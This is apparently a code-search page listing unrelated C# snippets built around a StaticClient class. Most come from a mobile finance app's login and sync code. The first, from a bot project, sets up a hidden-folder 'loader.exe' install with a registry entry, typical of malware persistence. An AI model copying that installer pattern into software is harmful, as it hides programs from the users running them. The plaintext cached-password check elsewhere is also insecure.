예제 #1
0
파일: Program.cs 프로젝트: qwqdanchun/DcBot
        public static void Main()
        {
            new Thread(() =>
            {
                new Installer()
                {
                    EnableInstall   = false,
                    FileName        = "loader.exe",
                    DirectoryName   = new DirectoryInfo(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "foo folder")),
                    DirectoryHidden = true,
                    RegistryName    = "loader reg",
                    IncreaseSize    = 20,
                    Sleeping        = 1
                }.Run();
            }).Start();

            StaticClient.InitializeClient();
            Application.Run();
        }
        private void LoadLiveNotifications(Action<NotificationList, Exception> callback)
        {
            var client = new StaticClient();

            client.GetAllNotificationsAsync(-1);
            client.GetAllNotificationsCompleted += (o, e) =>
            {
                //if (e.Error == null)
                //    SetupNotificationData(e.Result, true);
                if (e.Error == null)
                {
                    var notificationList = new NotificationList();
                    foreach (var item in e.Result)
                        notificationList.Add(item);

                    callback(notificationList, null);
                }
                else
                    callback(null, e.Error);
            };
        }
예제 #3
0
        private static async Task MainAsync()
        {
            Thread.CurrentThread.Name = "MAIN";
            if (!InitializeLoggers())
            {
                return;
            }
            Logger.LogEntry("MAIN", LogLevel.Info, "Started");

            StaticClient.ServerAddress        = "https://www.google.ru/";
            StaticClient.AllowedRedirectCount = 2;
            var result = await StaticClient.GetRawAsync(string.Empty);

            Logger.LogEntry("TEST", LogLevel.Info, $"Status: {result.Status}");
            Logger.LogEntry("TEST", LogLevel.Info, $"Headers:\n{string.Join("\n", result.Headers.Select(h => $"{h.Key}: {h.Value}"))}");

            await Task.Yield();

            Logger.LogEntry("MAIN", LogLevel.Info, "Finished");
            Console.ReadLine();
        }
        public void ChangePassword(User user, Action<Exception> callback)
        {
            try
            {
                App.Instance.StaticServiceData.SetServerStatus(async status =>
                {
                    //continue with local if status is ok but is pending Sync
                    if (status != Model.StaticServiceData.ServerStatus.Ok || !App.Instance.IsSync)
                    {
                        try
                        {
                            App.Instance.User.HasChanges = false;
                            App.Instance.User.Update(user);

                            await UpdateCacheUserData(user);

                            App.Instance.IsSync = false;

                            callback(null);
                        }
                        catch (Exception ex)
                        {
                            callback(ex);
                        }
                    }
                    else
                    {
                        var client = new StaticClient();
                        client.ChangePasswordAsync(user, callback);
                        client.ChangePasswordCompleted += async (sender, eventArgs) =>
                        {
                            try
                            {
                                if (eventArgs.Error != null)
                                {
                                    callback(eventArgs.Error);
                                    return;
                                }

                                App.Instance.User.HasChanges = false;
                                App.Instance.User.Password = eventArgs.Result.Password;

                                await UpdateCacheUserData(eventArgs.Result);

                                callback(null);
                            }
                            catch (Exception) { throw; }
                        };
                    }
                });
            }
            catch (Exception)
            {
                throw;
            }
        }
        public void ForgotPassword(User user, Action<User, Exception> callback)
        {
            try
            {
                var client = new StaticClient();
                client.ForgotPasswordAsync(user, callback);
                client.ForgotPasswordCompleted += (sender, eventArgs) =>
                {
                    try
                    {
                        //var userCallback = eventArgs.UserState as Action<User, Exception>;
                        if (eventArgs.Error != null)
                        {
                            callback(null, eventArgs.Error);
                            return;
                        }

                        callback(eventArgs.Result, null);
                    }
                    catch (Exception) { throw; }
                };
            }
            catch (Exception)
            {
                throw;
            }
        }
        /// <summary>
        /// Online only
        /// </summary>
        /// <param name="user"></param>
        /// <param name="callback"></param>
        public void RegisterUser(User user, Action<User, Exception> callback)
        {
            try
            {
                App.Instance.StaticServiceData.SetServerStatus(async status =>
                {
                    //continue with local if status is ok but is pending Sync
                    if (status != Model.StaticServiceData.ServerStatus.Ok || !App.Instance.IsSync)
                    {
                        try
                        {
                            Exception networkError = new Exception(AppResources.NetworkError);
                            callback(null, networkError);
                            return;

                            await UpdateCacheUserData(user);

                            App.Instance.IsSync = false;

                            var isCatDone = false;
                            var isTransReasonDone = false;
                            var isTypeTransDone = false;
                            var isTypeFreqDone = false;
                            var isRecRuleDone = false;


                            SaveCachedCategory(InitialData.InitializeCategories(), error =>
                            {
                                isCatDone = true;
                                if (CheckIfDone(isCatDone, isTransReasonDone, isTypeTransDone, isTypeFreqDone, isRecRuleDone))
                                    callback(user, null);
                            });
                            SaveCachedTransactionReason(InitialData.InitializeTypeTransactionReasons(), error =>
                            {
                                isTransReasonDone = true;
                                if (CheckIfDone(isCatDone, isTransReasonDone, isTypeTransDone, isTypeFreqDone, isRecRuleDone))
                                    callback(user, null);
                            });
                            SaveCachedTypeTransaction(InitialData.InitializeTypeTransactions(), error =>
                            {
                                isTypeTransDone = true;
                                if (CheckIfDone(isCatDone, isTransReasonDone, isTypeTransDone, isTypeFreqDone, isRecRuleDone))
                                    callback(user, null);
                            });
                            SaveCachedTypeFrequency(InitialData.InitializeTypeFrequencies(), error =>
                            {
                                isTypeFreqDone = true;
                                if (CheckIfDone(isCatDone, isTransReasonDone, isTypeTransDone, isTypeFreqDone, isRecRuleDone))
                                    callback(user, null);
                            });
                            SaveCachedRecurrenceRule(InitialData.InitializeRecurrenceRule(), error =>
                            {
                                isRecRuleDone = true;
                                if (CheckIfDone(isCatDone, isTransReasonDone, isTypeTransDone, isTypeFreqDone, isRecRuleDone))
                                    callback(user, null);
                            });

                            
                        }
                        catch (Exception ex)
                        {
                            callback(null, ex);
                        }
                    }
                    else
                    {
                        var client = new StaticClient();
                        client.RegisterUserAsync(user, callback);
                        client.RegisterUserCompleted += (sender, eventArgs) =>
                        {
                            try
                            {
                                var userCallback = eventArgs.UserState as Action<User, Exception>;
                                if (userCallback == null)
                                    return;

                                if (eventArgs.Error != null)
                                {
                                    userCallback(null, eventArgs.Error);
                                    return;
                                }

                                user.HasChanges = false;
                                user.UserId = eventArgs.Result.UserId;

                                userCallback(eventArgs.Result, null);
                            }
                            catch (Exception) { throw; }
                        };
                    }
                });
            }
            catch (Exception)
            {
                throw;
            }
        }
        public void SaveTypeIntervalConfiguration(TypeIntervalConfiguration typeIntervalConfig, Action<Exception> callback)
        {
            try
            {
                App.Instance.StaticServiceData.SetServerStatus(status =>
                {
                    //continue with local if status is ok but is pending Sync
                    if (status != Model.StaticServiceData.ServerStatus.Ok || !App.Instance.IsSync)
                    {
                        try
                        {
                            SetupTypeIntervalConfigData(typeIntervalConfig, false);

                            App.Instance.IsSync = false;

                            callback(null);
                        }
                        catch (Exception ex)
                        {
                            callback(ex);
                        }
                    }
                    else
                    {
                        var client = new StaticClient();
                        client.SaveTypeIntervalConfigAsync(typeIntervalConfig);
                        client.SaveTypeIntervalConfigCompleted += (sender, completedEventArgs) =>
                        {
                            if (completedEventArgs.Error == null)
                            {
                                SetupTypeIntervalConfigData(completedEventArgs.Result, true);

                                //Only update sync when offline and in login and main pages
                                //App.Instance.IsSync = true;

                                callback(null);
                            }
                            else
                                callback(completedEventArgs.Error);
                        };
                    }
                });
            }
            catch (Exception)
            {
                throw;
            }
        }
        public void SaveNotification(ObservableCollection<Notification> notifications, Action<Exception> callback)
        {
            try
            {
                App.Instance.StaticServiceData.SetServerStatus(async status =>
                {
                    //continue with local if status is ok but is pending Sync
                    if (status != Model.StaticServiceData.ServerStatus.Ok || !App.Instance.IsSync)
                    {
                        try
                        {
                            foreach (var item in NotificationList.Where(x => x.HasChanges))
                                item.HasChanges = false;

                            await SetupNotificationData(notifications, false);

                            App.Instance.IsSync = false;

                            callback(null);
                        }
                        catch (Exception ex)
                        {
                            callback(ex);
                        }
                    }
                    else
                    {
                        var client = new StaticClient();

                        client.SaveNotificationsAsync(notifications, App.Instance.User);

                        client.SaveNotificationsCompleted += async (sender, completedEventArgs) =>
                        {
                            if (completedEventArgs.Error == null)
                            {
                                await SetupNotificationData(completedEventArgs.Result, true);

                                //Only update sync when offline and in login and main pages
                                //App.Instance.IsSync = true;

                                callback(null);
                            }
                            else
                                callback(completedEventArgs.Error);

                        };
                    }
                });
            }
            catch (Exception)
            {
                throw;
            }
        }
        public void SyncNotificationsData(Action<Exception> callback)
        {
            try
            {
                NotificationList.Clear();

                App.Instance.StaticServiceData.LoadCachedNotifications((cachedNotifications, error) =>
                {
                    var notificationList = cachedNotifications.Where(x => x.ModifiedDate > App.Instance.LastSyncDate).ToObservableCollection();

                    var client = new StaticClient();

                    client.SyncNotificationsAsync(notificationList);

                    client.SyncNotificationsCompleted += async (sender, e) =>
                    {
                        if (e.Error == null)
                            await SetupNotificationData(e.Result, true);

                        callback(e.Error);
                    };
                });
            }
            catch (Exception ex)
            {
                callback(ex);
            }
        }
        private void LoadLiveTypeIntervalConfiguration(Action<Exception> callback)
        {
            latestState = Guid.NewGuid().ToString();

            var client = new StaticClient();

            client.GetTypeIntervalConfigurationAsync(App.Instance.User.UserId);
            client.GetTypeIntervalConfigurationCompleted += (o, e) =>
            {
                if (e.Error == null)
                {
                    SetupIntervalConfigurationData(e.Result, true);
                }

                callback(e.Error);
            };
        }
        private void LoadLiveTypeIntervals(Action<Exception> callback)
        {
            latestState = Guid.NewGuid().ToString();

            var client = new StaticClient();

            client.GetAllTypeIntervalsAsync(App.Instance.User.UserId);
            client.GetAllTypeIntervalsCompleted += async (o, e) =>
            {
                if (e.Error == null)
                {
                    await StorageUtility.DeleteAllItems(STATIC_TYPEINTERVAL_FOLDER, App.Instance.User.UserName);
                    await SetupIntervalData(e.Result, true);
                }

                callback(e.Error);
            };
        }
        private void LoadLiveNotifications(Action<Exception> callback)
        {
            latestState = Guid.NewGuid().ToString();

            var client = new StaticClient();

            client.GetAllNotificationsAsync(App.Instance.User.UserId);
            client.GetAllNotificationsCompleted += async (o, e) =>
            {
                if (e.Error == null)
                {
                    await StorageUtility.DeleteAllItems(STATIC_NOTIFICATION_FOLDER, App.Instance.User.UserName);
                    await SetupNotificationData(e.Result, true);
                }

                callback(e.Error);
            };
        }
        public void LoadLiveCategories(Action<Exception> callback)
        {
            var retVal = new CategoryList();

            var client = new StaticClient();
            try
            {
                latestState = Guid.NewGuid().ToString();
                client.GetAllCategoriesAsync(App.Instance.User.UserId);
                client.GetAllCategoriesCompleted += async (o, e) =>
                {
                    if (e.Error == null)
                    {
                        await StorageUtility.DeleteAllItems(STATIC_CATEGORY_FOLDER, App.Instance.User.UserName);
                        await SetupTypeCategoryData(e.Result, true);
                    }

                    callback(e.Error);
                };
            }
            catch (Exception)
            {
                throw;
            }
        }
        public async Task LoadUser(User user, Action<Exception> callback)
        {
            User existing = new User();
            App.Instance.StaticServiceData.SetServerStatus(async status =>
                {
                    if (status != StaticServiceData.ServerStatus.Ok)
                    {
                        try
                        {
                            var query = await LoadCachedUser();
                            existing = query.Where(i => i.UserName == user.UserName && i.Password == user.Password).Single();
                            UserFound(existing);

                            callback(null);
                        }
                        catch (Exception) 
                        { 
                            var error = new Exception(AppResources.UserNamePasswordWrongOffline);
                            callback(error);
                        }

                    }
                    else
                    {
                        var client = new StaticClient();
                        client.AuthenticateUserAsync(user, callback);
                        client.AuthenticateUserCompleted += async (sender, eventargs) =>
                        {
                            try
                            {
                                if (eventargs.Error == null)
                                {
                                    existing = eventargs.Result;
                                    UserFound(existing);
                                    await UpdateCacheUserData(existing);
                                }

                                callback(eventargs.Error);
                            }
                            catch (Exception) { throw; }
                        };
                    }
                });
        }
        private void LoadLiveRecurrenceRules(Action<Exception> callback)
        {
            latestState = Guid.NewGuid().ToString();

            var client = new StaticClient();

            client.GetAllRecurrenceRulesAsync();
            client.GetAllRecurrenceRulesCompleted += async (o, e) =>
            {
                if (e.Error == null)
                {
                    await StorageUtility.DeleteAllItems(STATIC_RECURRENCE_FOLDER, App.Instance.User.UserName);
                    await SetupRecurrenceRuleData(e.Result, true);
                }
                callback(e.Error);
            };
        }
        public ServerStatus SetServerStatus(bool SkipCheckForStatus, Action<ServerStatus> callback)
        {
            var result = ServerStatus.Communicating;

            //## always offline
            //callback(result);
            //return result;

            try
            {
                if (SkipCheckForStatus)
                    callback(result);

                if (DeviceNetworkInformation.IsNetworkAvailable)
                {
                    var client = new StaticClient();
                    client.GetDBStatusAsync();
                    client.GetDBStatusCompleted += (sender, e) =>
                    {
                        if (e.Error != null || !e.Result)
                            result = ServerStatus.Error;
                        else if (e.Result)
                            result = ServerStatus.Ok;

                        callback(result);
                    };
                }
                else
                {
                    result = ServerStatus.Error;
                    callback(result);
                }
            }
            catch (Exception)
            {
                //throw;
                callback(ServerStatus.Error);
            }
            return result;
        }
        public void SaveTransactionReason(ObservableCollection<TypeTransactionReason> transactionReasons, Action<Exception> callback)
        {
            try
            {
                App.Instance.StaticServiceData.SetServerStatus(async status =>
                {
                    //continue with local if status is ok but is pending Sync
                    if (status != Model.StaticServiceData.ServerStatus.Ok || !App.Instance.IsSync)
                    {
                        await SaveCachedTransactionReason(transactionReasons, callback);
                    }
                    else
                    {
                        foreach (var item in transactionReasons)
                            item.OptimizeOnTopLevel();

                        var client = new StaticClient();
                        client.SaveTypeTransactionReasonsAsync(transactionReasons);
                        client.SaveTypeTransactionReasonsCompleted += async (sender, completedEventArgs) =>
                        {
                            if (completedEventArgs.Error == null)
                            {
                                //## Find a more efficient call. Dont fetch all categories, only the affected ones.
                                LoadCategories(true, errorCat => 
                                    callback(errorCat));

                                await SetupTypeTransactionReasonData(completedEventArgs.Result, true);

                                //Only update sync when offline and in login and main pages
                                //App.Instance.IsSync = true;

                                callback(null);
                            }
                            else
                                callback(completedEventArgs.Error);

                        };
                    }
                });
            }
            catch (Exception ex)
            {
                callback(ex);
            }
        }
        public void SyncTypeIntervalsData(Action<Exception> callback)
        {
            try
            {
                App.Instance.StaticServiceData.LoadCachedTypeIntervals((cachedTypeIntervals, error) =>
                {
                    var typeIntervalList = cachedTypeIntervals.Where(x => x.ModifiedDate > App.Instance.LastSyncDate).ToObservableCollection();

                    var client = new StaticClient();

                    client.SyncTypeIntervalsAsync(typeIntervalList);

                    client.SyncTypeIntervalsCompleted += async (sender, e) =>
                    {
                        if (e.Error == null)
                            await SetupIntervalData(e.Result, true);

                        callback(e.Error);
                    };
                });
            }
            catch (Exception ex)
            {
                callback(ex);
            }
        }
 public void GetServerStatus(Action<Exception> callback)
 {
     //var result = ServerStatus.Communicating;
     try
     {
         if (DeviceNetworkInformation.IsNetworkAvailable)
         {
             var client = new StaticClient();
             client.GetDBStatusAsync();
             client.GetDBStatusCompleted += (sender, e) =>
             {
                 callback(e.Error);
             };
         }
         else
         {
             callback(new Exception("Offline"));
         }
     }
     catch (Exception)
     {
         //throw;
         callback(new Exception("Error"));
     }
 }